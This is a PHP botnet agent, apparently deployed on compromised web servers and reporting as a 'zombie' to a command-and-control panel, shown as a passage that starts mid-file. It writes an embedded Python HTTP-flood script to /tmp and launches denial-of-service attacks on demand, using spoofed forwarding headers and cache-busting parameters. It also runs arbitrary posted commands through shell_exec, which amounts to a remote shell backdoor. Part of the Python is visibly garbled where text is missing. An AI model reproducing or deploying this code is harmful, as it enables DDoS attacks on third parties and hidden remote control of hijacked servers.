'success', 'agent_id' => $AGENT_ID, 'host' => $_SERVER['HTTP_HOST'], 'online' => true ]); die(); } // ============ INSTALL ============ if (isset($_GET['install'])) { $script = getDDoSScript(); file_put_contents($TMP_PATH . 'ddos.py', $script); chmod($TMP_PATH . 'ddos.py', 0755); echo json_encode(['status' => 'success', 'agent_id' => $AGENT_ID]); die(); } // ============ DROP ============ if (isset($_GET['drop'])) { $script = getDDoSScript(); file_put_contents($TMP_PATH . 'ddos.py', $script); chmod($TMP_PATH . 'ddos.py', 0755); echo json_encode(['status' => 'success', 'message' => 'Script updated']); die(); } // ============ EXECUTE ============ if (isset($_POST['action']) && $_POST['action'] == 'execute') { $command = $_POST['command'] ?? ''; $target = $_POST['target'] ?? ''; $duration = $_POST['duration'] ?? 60; $threads = $_POST['threads'] ?? 30; $method = $_POST['method'] ?? 'GET'; $python = $_POST['python'] ?? 'python3'; if ($command == 'STOP') { if (file_exists($PID_FILE)) { $pid = trim(file_get_contents($PID_FILE)); if ($pid) { exec("kill -9 $pid 2>/dev/null"); exec("pkill -f ddos.py 2>/dev/null"); exec("pkill -f python.*ddos 2>/dev/null"); unlink($PID_FILE); } } exec("pkill -f ddos.py 2>/dev/null"); exec("pkill -f python.*ddos 2>/dev/null"); echo json_encode(['status' => 'success', 'message' => 'Stopped']); die(); } if (!empty($target)) { if (file_exists($PID_FILE)) { $old_pid = trim(file_get_contents($PID_FILE)); if ($old_pid) { exec("kill -9 $old_pid 2>/dev/null"); unlink($PID_FILE); } } exec("pkill -f ddos.py 2>/dev/null"); exec("pkill -f python.*ddos 2>/dev/null"); // Gunakan python yang diminta $cmd = "{$python} {$TMP_PATH}ddos.py {$target} {$duration} {$threads} {$method} > /tmp/ddos.log 2>&1 & echo \$!"; $output = exec($cmd); $pid = trim($output); if ($pid) { file_put_contents($PID_FILE, $pid); echo json_encode([ 'status' => 'success', 'message' => "HTTP Flood started ({$method}) with {$python}", 'pid' => $pid, 'python' => $python ]); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to start']); } die(); } $output = shell_exec($command . " 2>&1"); echo json_encode(['status' => 'success', 'output' => $output]); die(); } function getDDoSScript() { return <<<'EOD' #!/usr/bin/env python # -*- coding: utf-8 -*- """ ddos.py - PURE HTTP FLOOD Support GET & POST Only Support Python2 & Python3 Auto detect port dari URL """ from __future__ import print_function import socket import random import threading import time import sys import os import signal import struct try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse # ============================================ # SIGNAL HANDLER # ============================================ def signal_handler(sig, frame): print("\n[!] Stopped") sys.exit(0) try: signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) except: pass # ============================================ # HTTP FLOOD - Pure Socket # ============================================ class HTTPFlood: def __init__(self, target, duration, threads, method='GET'): self.target = target self.duration = int(duration) self.threads = int(threads) self.method = method.upper() self.running = True self.packets = 0 self.bytes_sent = 0 self.errors = 0 self.last_error = "" self.error_types = {} self.lock = threading.Lock() parsed = urlparse(target) self.domain = parsed.hostname if parsed.port: self.port = parsed.port elif parsed.scheme == 'https': self.port = 443 else: self.port = 80 self.path = parsed.path or '/' self.is_https = parsed.scheme == 'https' try: self.ip = socket.gethostbyname(self.domain) except: self.ip = self.domain self.user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/120.0.0.0', 'Mozilla/5.0 (X11; Linux x86_64) Chrome/120.0.0.0', 'Mozilla/5.0 (Windows NT 10.0; rv:109.0) Firefox/121.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/17.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/119.0.0.0', 'Mozilla/5.0 (X11; Linux x86_64) Firefox/121.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/118.0.0.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/118.0.0.0' ] print("[+] TARGET: {}:{}".format(self.domain, self.port)) print("[+] HTTPS: {}".format(self.is_https)) print("[+] METHOD: {}".format(self.method)) print("[+] PATH: {}".format(self.path)) print("[+] THREADS: {}".format(self.threads)) print("[+] DURATION: {}s".format(self.duration)) def create_ssl_context(self): try: import ssl # Try multiple SSL contexts try: # Method 1: Modern TLS context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE context.set_ciphers('DEFAULT@SECLEVEL=1') return context except: pass try: # Method 2: TLS v1.2 context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) context.check_hostname = False context.verify_mode = ssl.CERT_NONE return context except: pass try: # Method 3: Default context context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE return context except: pass return None except: return None def build_request(self): # Add more random parameters to bypass cache path = self.path + "?_t={}&r={}&v={}&s={}".format( int(time.time()*1000), random.randint(1,999999), random.randint(1,99999), random.randint(1,9999) ) # Randomize headers accept_encodings = ['gzip, deflate, br', 'gzip, deflate', 'gzip', 'identity'] accept_languages = ['en-US,en;q=0.9', 'en-GB,en;q=0.8', 'id-ID,id;q=0.9', 'fr-FR,fr;q=0.8'] connection_types = ['keep-alive', 'close'] if self.method == 'GET': req = "GET {} HTTP/1.1\r\n".format(path) else: # POST body = "data={}&id={}&action={}×tamp={}".format( random.randint(1,999999), random.randint(1,9999), random.choice(['login', 'submit', 'update', 'delete', 'create']), int(time.time()) ) req = "POST {} HTTP/1.1\r\n".format(path) req += "Content-Type: application/x-www-form-urlencoded\r\n" req += "Content-Length: {}\r\n".format(len(body)) # Build headers with randomization req += "Host: {}\r\n".format(self.domain) req += "User-Agent: {}\r\n".format(random.choice(self.user_agents)) req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" req += "Accept-Encoding: {}\r\n".format(random.choice(accept_encodings)) req += "Accept-Language: {}\r\n".format(random.choice(accept_languages)) req += "Connection: {}\r\n".format(random.choice(connection_types)) req += "Cache-Control: no-cache, no-store, must-revalidate\r\n" req += "Pragma: no-cache\r\n" req += "Expires: 0\r\n" # Random IP headers ip1 = random.randint(1,255) ip2 = random.randint(1,255) ip3 = random.randint(1,255) ip4 = random.randint(1,255) req += "X-Forwarded-For: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4) req += "X-Real-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4) req += "Client-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4) req += "X-Client-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4) # Add some extra random headers if random.random() > 0.5: req += "X-Request-ID: {}\r\n".format(random.randint(100000, 999999)) if random.random() > 0.7: req += "DNT: {}\r\n".format(random.choice(['0', '1'])) if random.random() > 0.8: req += "Upgrade-Insecure-Requests: 1\r\n" req += "\r\n" if self.method == 'POST': req += body return req def http_request(self): sock = None try: # Create socket with proper options sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 8192) sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8192) # Set timeout sock.settimeout(15.0) # Connect with retry try: sock.connect((self.ip, self.port)) except socket.error as e: with self.lock: self.errors += 1 self.last_error = "Connect: {}".format(str(e)[:50]) if sock: sock.close() return # Handle HTTPS if self.is_https: try: import ssl context = self.create_ssl_context() if context: sock = context.wrap_socket(sock, server_hostname=self.domain) else: with self.lock: self.errors += 1 self.last_error = "SSL Context Failed" sock.close() return except Exception as e: with self.lock: self.errors += 1 self.last_error = "SSL: {}".format(str(e)[:50]) sock.close() return # Build request req = self.build_request() if isinstance(req, str): try: req = req.encode('utf-8') except: pass # Send request with retry try: sent = sock.send(req) if sent == 0: with self.lock: self.errors += 1 self.last_error = "Send failed" sock.close() return except socket.error as e: with self.lock: self.errors += 1 self.last_error = "Send: {}".format(str(e)[:50]) sock.close() return # Receive response (optional) sock.settimeout(3.0) try: response = sock.recv(4096) # Check if we got a valid response if response and response[:4] in [b'HTTP', b' 0 else 0 status = "\r[*] Requests: {} | Data: {:.1f} MB | RPS: {:.0f} | Err: {}".format( self.packets, mb, rps, self.errors) if self.errors > 0 and self.last_error: status += " | Last: {}".format(self.last_error[:25]) sys.stdout.write(status) sys.stdout.flush() self.running = False # Wait for threads to finish for t in threads: try: t.join(timeout=0.5) except: pass with self.lock: total = self.packets + self.errors success_rate = (self.packets / total * 100) if total > 0 else 0 print("\n[+] ========================================") print("[+] HTTP FLOOD COMPLETE!") print("[+] Method: {}".format(self.method)) print("[+] Total Requests: {}".format(self.packets)) print("[+] Total Data: {:.1f} MB".format(self.bytes_sent / 1024 / 1024)) print("[+] Avg RPS: {:.0f}".format(self.packets / self.duration if self.duration > 0 else 0)) print("[+] Errors: {}".format(self.errors)) print("[+] Success Rate: {:.1f}%".format(success_rate)) if self.last_error: print("[+] Last Error: {}".format(self.last_error)) print("[+] ========================================") try: os.remove('/tmp/zombie_c2/attack.pid') except: pass # ============================================ # MAIN # ============================================ if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python ddos.py ") print("Example: python ddos.py https://example.com/path/ 60 30 GET") print("Example: python ddos.py https://example.com/path/ 60 30 POST") print("Methods: GET, POST") sys.exit(1) target = sys.argv[1] duration = int(sys.argv[2]) threads = int(sys.argv[3]) if len(sys.argv) > 3 else 30 method = sys.argv[4].upper() if len(sys.argv) > 4 else 'GET' if method not in ['GET', 'POST']: method = 'GET' print("[!] Invalid method, using GET") if threads > 80: threads = 80 print("[!] Threads limited to 80 (system limit)") print("="*60) print("[+] PURE HTTP FLOOD") print("="*60) print("[+] Target: {}".format(target)) print("[+] Duration: {}s".format(duration)) print("[+] Threads: {}".format(threads)) print("[+] Method: {}".format(method)) print("[+] Port: Auto Detect") print("="*60) http = HTTPFlood(target, duration, threads, method) http.run() EOD; } echo json_encode([ 'status' => 'success', 'agent_id' => $AGENT_ID, 'host' => $_SERVER['HTTP_HOST'], 'message' => 'Zombie Active - GET/POST Flood' ]); ?>